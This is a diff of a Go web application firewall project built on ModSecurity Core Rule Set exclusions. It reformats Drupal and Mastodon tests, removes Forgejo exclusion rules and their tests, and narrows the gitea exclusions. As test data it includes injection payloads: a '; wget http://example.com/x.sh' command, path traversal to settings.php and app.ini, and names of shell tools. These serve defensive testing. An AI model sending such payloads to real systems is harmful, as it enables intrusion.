mediawikiExclusions, mastodonExclusions, vaultwardenExclusions, mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions, forgejoExclusions) nextcloudExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -499,10 +477,7 @@ func (c *CoreRuleSet) Inspect(
// readBody reads one byte past the limit, to tell which they are, gives // readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error // the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did. // that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
File diff suppressed because it is too large. Load diff
+27 -106
View File
@@ -124,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
} }
} }
} }
}
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of for _, attack := range []string{
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. injection,
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { scriptTag,
t.Parallel() } {
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`, `"body":{"value":"` + attack + `"}`,
@@ -163,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}` body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -212,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass}, {drupalRegister, formData, pass},
{"/fr/user/register", formData, pass}, {"/fr/user/register", formData, pass},
{ {"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass}, {"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}}, {drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}}, {drupalJSONRegister, jsonBody, []string{"pass.value"}},
{ {"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{ {
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{ []string{"data.attributes.pass.value", "data.attributes.pass.existing"},
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
}, },
}) })
} }
@@ -247,11 +222,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} { for _, field := range []string{"name", "mail"} {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -270,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
{"ls -la", 932250}, {"ls -la", 932250},
{".htaccess@example.com", 930120}, {".htaccess@example.com", 930120},
} { } {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}` body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
!slices.Contains(got.RuleIDs, kept.rule) { t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
} }
} }
} }
@@ -357,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
} }
} }
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{ for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`, `"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`,
@@ -407,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -426,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got) t.Errorf("POST %s %s let through: %+v", r.target, body, got)
} }
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
} }
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -449,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold { if got.Score >= drupalThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
} }
@@ -474,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
r = request{ r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}` body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body) got, _ = inspectBody(t, crs, r, body)
@@ -488,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} { for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{ r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}` body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -558,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalEditAccount, "mail=python3"}, {drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
-117
View File
@@ -1,117 +0,0 @@
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
# eighth change's fixes for gitea apply to its requests too, so this file holds
# only what Forgejo sends and gitea does not. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request the rule refused.
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
"id:900680,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
-115
View File
@@ -1,115 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
)
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
// a wiki, of releases and of a job's log, from the fifteenth change, and the
// searches for a name, from the eighth. The search of code at a branch or tag
// is not one of them: there, as on gitea's search of code, q lets these
// attacks through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/alice/tools/releases",
"/api/v1/repos/alice/tools/releases",
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
"/alice/-/packages",
"/api/v1/packages/alice",
"/alice",
}
// forgejoAttacks are an SQL injection, a path traversal, a script injection
// and a shell command after a ";", as query values.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoAttacks = []string{
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
}
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range forgejoSearches {
for _, attack := range forgejoAttacks {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the searches of
// the fifteenth change and on those of branches and packages, stay
// refused in q on paths near them and in another field on them.
// /alice/wiki/search would be the code search of a repository named
// wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so the paths under /api/ here are not searches.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
"/alice/tools/search/branch?q=",
"/alice/tools/search/commit/0123abc?q=",
"/alice/tools/src/branch/main?q=",
"/api/tools/search/branch/main?q=",
"/alice/tools/search/branch/main?other=",
"/alice/tools/releases/tag/v1.0?q=",
"/alice/tools/releases/latest?q=",
"/api/v1/releases?q=",
"/alice/tools/releases?other=",
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
"/alice/tools/branches/x?q=",
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
// Referer keeps its rules on a page opened from a path near the code
// search at a branch or tag.
for _, path := range []string{
"/alice/tools/search/branch",
"/alice/tools/search/commit/0123abc",
"/api/tools/search/branch/main",
} {
for _, attack := range []string{scriptTag, injection} {
referer := "Referer: http://example.com" + path + "?q=" + attack
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
t.Errorf("%s let through: %+v", referer, got)
}
}
}
}
+4 -36
View File
@@ -102,67 +102,35 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
# name in q, which skips these rules there: # name in q, which skips these rules there:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app # 932260: python3-app
# 944130: org.apache.commons.logging # 944130: org.apache.commons.logging
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\ [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
api/v1/packages/[^/]+)$" \
"id:900602,phase:1,pass,nolog,\ "id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch or package name can hold a slash, as feat/docker-support and npm's
# @scope/name do. So q on a repository's branches page and on an owner's
# packages page also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these # gitea's other searches for a name send it in q too, which skips only these
# rules there: # rules there:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app # 932260: python3-app
# The searches: # The searches:
# - the dashboard's filter of repositories; # - the dashboard's filter of repositories;
# - the repositories on a user's or an organisation's page, whose path has
# one segment;
# - the author filter of the issue and pull request lists; # - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users. # - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\ explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \ [^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\ "id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
"id:900604,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there: # These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~ # 920500: notes.txt~
# 934100: process.env.d.ts # 934100: process.env.d.ts
+27 -131
View File
@@ -106,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{ {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
http.MethodPost, {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{ {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{ {
http.MethodPost, "/admin/settings/about", http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=", "form_admin_settings[site_extended_description]=",
}, },
{http.MethodPost, "/filters", "custom_filter[title]="}, {http.MethodPost, "/filters", "custom_filter[title]="},
{ {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
http.MethodPost, {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
"/filters", {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="},
{ {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
http.MethodPost, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="},
{ {
http.MethodPost, "/admin/account_moderation_notes", http.MethodPost, "/admin/account_moderation_notes",
@@ -181,20 +149,12 @@ var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, mastodonAccount, "user[current_password]="},
{ {http.MethodPost, "/settings/migration", "account_migration[current_password]="},
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{ {
http.MethodPost, "/settings/migration/redirect", http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=", "form_redirect[current_password]=",
}, },
{ {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, passwordField},
} }
@@ -221,28 +181,12 @@ var mastodonJSONFields = []mastodonBodyField{
}, },
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`}, {http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`}, {http.MethodPatch, mastodonEditor, `{"note":%s}`},
{ {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`}, {http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`}, {http.MethodPatch, mastodonProfile, `{"note":%s}`},
{ {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
http.MethodPatch, {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`},
@@ -251,16 +195,8 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{ {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
http.MethodPost, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
} }
@@ -303,12 +239,7 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
} }
r := request{sent.method, sent.target, []string{jsonBody}} r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody( got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
t,
readingBodies(t),
